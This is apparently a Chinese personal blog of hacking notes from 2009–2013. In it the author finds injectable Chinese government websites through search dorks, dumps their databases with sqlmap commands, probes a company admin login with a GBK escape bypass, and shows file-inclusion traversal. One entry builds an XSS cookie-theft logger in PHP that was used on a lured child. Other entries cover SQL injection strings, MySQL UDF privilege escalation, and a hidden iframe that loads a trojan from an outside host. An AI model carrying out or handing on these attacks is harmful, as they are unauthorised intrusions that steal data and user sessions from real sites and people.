17 / 04 / 2013 buling

      最近对wooyun、freebuf等网站特别感兴趣,下班时间周末花了很多,上多了wooyun的人应该对sqlmap不陌生,是国外一位大牛写的sql注入神器,地址:http://sqlmap.org ,早想试一试,忙里偷闲就搞一下吧,打开google,搜索:inurl:gov.cn inurl:php?id= //专门搞正腐网站,打开前面几个,加个单引号,很快就发现一个:http://www.tchjbh.gov.cn/news_display.php?id=148
      下面就该sqlmap出场了,:

#我的第一句啊
python sqlmap.py -u {url} -v 2 #-v是debug信息级别
#可以分别取到 isdba、数据库、表列表
python sqlmap.py -u {url} -v 1 --is-dba --dbs --tables
#可以获取到当前用户和密码,但这个网站没有权限读到hash密码
python sqlmap.py -u {url} -v 1 --users --passwords
#类似这样可以执行语句,这样是执行不了的
python sqlmap.py -u {url} -v 2 --sql-query "select * from admin_login" -D tchjbh
#因为下班原因,此文推迟,晚上看电视无聊拿着pad又来注入,这次定向四川正府网站,又是一个 www.scyg.gov.cn/xwgg/zcfg_1.asp?id=86
#下面来看注入,上面用过的代码将不再列举
#查看当前db和当前用户
python sqlmap.py -u {url} --current-db --current-user
#查看db的所有表
python sqlmap.py -u {url} --tables -D xscyg
#查看db的某表的所有列
python sqlmap.py -u {url} --clumns -T sysconstraints -D xscyg
#打印表数据,打印某列可以直接-C指定列名
python sqlmap.py -u {url} --dump -T bgt -D xscyg
#导出数据库的方法
python sqlmap --dump-all -D xscyg

      我拿了两个洞子里做教程,sorry,但因为这两个站的用户都不是dba,也没有太重要的数据,所以就撸过了
发现sqlmap有写入文件的功能,速度研究了一下sql写文件的方法:

//1、需要这个目录可写,一般网站总会有那么一两个目录可写的,当然前提是需要通过爆路径获取到网站的根目录
//不可写一般会出现:ERROR 1 (HY000): Can't create/write to file '/home/oo/sql.php' (Errcode: 13)
//2、如果此文件存在则写不了
//存在文件一般会报:ERROR 1086 (HY000): File '/home/oo/sql.php' already exists
select '' from city_info limit 1 into outfile '/home/xxx/sqltest/sqlx.php';

      中午时间想到了截断漏洞,速度测试一下,效果很明显,且看php代码

$a = isset($_GET['a']) ? $_GET['a'] : 'phpinfo';
$file = dirname(__FILE__);
include $file.'/'.$a.'.php';

下面来构造url代码如下:http://192.168.50.71/~xxx/test.php?a=adsf%2F..%2F../../../etc/passwd%00 效果相当明显,include果断忽视了.php后缀

29 / 03 / 2013 buling

      今天无意发现公司入网规范管理后台地址,就试试能不能突破,这段时间看了不少web安全相关的文章,在账号中输入单引号,跳转到登陆提示sql执行失败的页面

错误提示:执行SQL语句错误 SELECT Password, RoleID, UserName, LastIP, LastTime ,LastWrongNums,LastWrongTimes FROM TOperator WHERE BINARY USERNAME = ''' array ( 0 => '42000', 1 => 1064, 2 => 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'\'\'\'\' at line 2', )

      可以看到sql的单引号被转义,在看看页面编码,gb2312,可以利用gbk的双字节突破单引号被转义的限制(GBK双字节编码:一个汉字用两个字节表示,首字节对应0x81-0xFE,尾字节对应0x40-0xFE(除0x7F),刚好涵盖了对应的编码0x5C。)
      当我们提交参数 %d5′ ,经浏览器URL编码后为%d5%27,再经PHP URL解码后为 0xd50x27,再经PHP转义后为0xd50x5c0x27,即就是在0x27(‘)之前插入了转义符0x5c(\)。当MySQL采用GBK编码连接时,0xd50x5c0x27 这一字节序列就被MySQL作为GBK编码理解:誠’。
      但我使用 aa%d5’ or 1=1提交后还是提示用户不存在,还没找到原因,看wooyun上有相关描述贴(http://www.wooyun.org/bugs/wooyun-2010-015576),用默认账号密码登陆是可以成功的。由于事情有点多,以后突破

无标签信息 0 条
22 / 02 / 2013 buling

      以往看别人讲漏洞,过一段时间就往了,要是身边有个示例就比较好说话了,今天写一下关于xx.com一个页面存在xss漏洞导致的cookie被劫持的漏洞,页面地址是:http://www.xx.com/index.php?act=userdata&uname=xxx ,在xxx用户名后加入一段小代码,如:http://www.xx.com/index.php?act=userdata&uname=xxx<script>alert(1)</script>,执行后alert 1成功
      1、抓包后发现,用户登陆态相关的cookie是uck,构造一个访问用户认证cookie:uck的url代码:

      2、已经看到成功把uck的cookie信息发送到了x.php,那么我们就开始创建x.php页面吧

$a = isset($_GET['ID']) ? $_GET['ID'] : '';
if(!$a){ //如果没有ID就跳转到陷阱页面
    $url = "http://www..com/index.php?act=userdata&uname=xxx";
    header('location:'.$url);
    exit();
}
//否则记录获取到的uck
$t = date('Y-m-d H:i:s');
$fd = fopen('./xxx.data', 'a');
fwrite($fd, $t.' '.$a."\n");
fclose($fd);

      3、坐等上钩,好吧,我诱导了个孩子来访问,看效果

      4、uck都拿到了,登陆那就很容易了,打开firefox,使用firebug的cookie修改工具

      5、刷新一般来说应该是改变了

无标签信息 0 条
16 / 08 / 2009 buling

在登陆后台时,接收用户输入的Userid和Password数据,并分别赋值给user和pwd,然后再用
sql="select * from admin where username="&user&" and password="&pwd&""
这句来对用户名和密码加以验证。
以常理来考虑的话,这是个很完整的程序了,而在实际的使用过程中,整套程序也的确可能正常使用。但是如果Userid的值和password的值被赋于:safer’ or’1’=’1’ 这时,
sql="select * from admin where username="&user&" and password="&pwd&""
就成了:
sql="select * from reg where user=safer’ or’1’=’1’ and pass=safer’ or’1’=’1’

无标签信息 0 条
05 / 08 / 2009 buling

       使用:
一、功能:利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。
二、适用场合:1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。
三、使用帮助:
  第一步:将PHP文件上传到目标机上,填入你的MYSQL账号经行连接。

04 / 08 / 2009 buling

       SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
       语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel” and LENGTH(password)=”6
http://127.0.0.1/injection/user.php?username=angel” and LEFT(password,1)=”m

       SQL注入流行很久了,我们找漏洞注入目的无非是想得到数据库内的东西,比如用户名密码等。(当然mssql数据库还可以借此获得权限)。如果我们不用注入就可以得到整个数据库,不是更好吗?于是暴库成了一个比注入更简单的的入侵手段。

  有关暴库的方法,高手们常在入侵文章中提高,但多是一笔带过,有些就某一个方法谈的,也多是就方法进行探讨。最近有一篇《再谈%5c暴库的利用》文章,算是对暴库进行了一些总结,因而在网是流传很广。但仍没有谈及原理,而且结论也只是就于经验,似是而非,于是决定来谈谈暴库的原理与规律。

04 / 08 / 2009 buling

       本文以一些未公开的WEB蠕虫为例,这些蠕虫可通过PHP漏洞脚本进行自我传播。该蠕虫叫World Cant Wait ,在11.2被公布在成千上万个信息公告栏和博客上,以此反对布什政权。原先它利用的是一个私有漏洞,就是最近曝出的关于CuteNews 1.4的php代码执行漏洞。这个蠕虫可自动寻找目标,并自我繁殖。在蠕虫病毒肆虐的同时,街上的人们还高喊着抗议口号。在此我并不打算冒着触犯法律的风险而去破坏一些系统,而是将通过阐述这项技术,并发布相关的模块代码,以此来推动未来PHP蠕虫的发展。

1,挂马的N种方法

  (1) HTML挂马法。

  常规的HTML挂马方法一般是在网页中插入一条iframe语句,像<iframe src=http://www.xxx.com/horse.html width=0 height=0></iframe>。查看站点是否被挂,一般是查找一下关键词iframe。

03 / 08 / 2009 buling

学了SQL注入的一些技能后,以下正对PHP+MYSQL进行SQL注入的简单实践
首先观察两个MYSQL数据表
用户记录表:
CREATE TABLE `php_user` (
  `id` int(11) NOT NULL auto_increment,
  `username` varchar(20) NOT NULL default “,
  `password` varchar(20) NOT NULL default “,
  `userlevel` char(2) NOT NULL default “0”,
  PRIMARY KEY  (`id`)